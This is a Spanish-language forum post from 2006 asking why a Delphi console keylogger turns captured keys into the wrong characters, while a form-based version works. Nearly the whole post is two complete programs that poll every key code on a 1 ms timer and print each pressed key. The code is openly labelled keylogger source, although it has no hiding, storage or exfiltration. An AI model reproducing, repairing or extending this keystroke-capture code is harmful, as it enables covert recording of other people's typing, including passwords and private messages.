PDA

Ver la Versión Completa : Keylogger Multi Lenguaje Problema con la Captura


saratoga2k
17-05-2006, 21:15:07
Tengo un problema toascii convierte la tecla apretada a ascii segun el lenguaje y segun si esta mayuscula
pero no me funciona,
solo me funciona cuando creo un aplicacion con formulario
y si uso application.processmessages
alguien me puede decir como soluciono esto

gracias

========================
Ejemplo que no funciona Bien
========================

program Keylogger;
{$APPTYPE CONSOLE}

uses
system,windows;
var
msg:tmsg;
hTimer1: word;
KeyState : TKeyboardState;

procedure doevents;
var
msg:tmsg;
begin
while peekmessage(Msg, 0, 0, 0, PM_REMOVE) do
begin
GetMessage(Msg,0,0,0);
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end;

Function GetCharFromKey(KeyCode:Integer):String;
var
KeyState : TKeyboardState;
Sal : Longint;
begin
DoEvents;
If GetKeyboardState(KeyState) Then
begin

If ToAscii(KeyCode, 0, KeyState, @Sal, 0) <> 0 Then
begin
GetCharFromKey := Chr(Sal)
end;
end;
doevents;
end;

procedure CapKeys(hwnd : THandle; uMsg,idEvent:integer; dwTime: DWORD); stdcall;
var
i : Integer;
KeyState : TKeyboardState;
Sal : Longint;
begin
for i:= 1 to 255 do
begin
doevents;
If GetAsyncKeyState(i) = -32767 Then write(GetCharFromKey(i));
end;
end;

procedure CapturarTeclas();
begin
hTimer1 := settimer(0,0,1,@CapKeys);
end;

begin
CapturarTeclas;
while true do begin
GetKeyboardState(KeyState);
doevents;
end;
end.




=============================
EJEMPLO QUE FUNCIONA BIEN
=============================

EN EL FORMULARIO AGREGAR :
-COMPONENTE TIMER 1 MS
-LABEL1

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

Function GetCharFromKey(KeyCode:Integer):String;
var
KeyState : TKeyboardState;
Sal : Longint;
begin
If GetKeyboardState(KeyState) Then
begin
If ToAscii(KeyCode, 0, KeyState, @Sal, 0) <> 0 Then
begin
GetCharFromKey := Chr(Sal)
end;
end;
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var
i:integer;
begin
While True do
begin
For i := 0 To 255 do
begin
If GetAsyncKeyState(i) = -32767 Then label1.Caption := GetCharFromKey(i);
Application.ProcessMessages;
end;
end;
end;

end.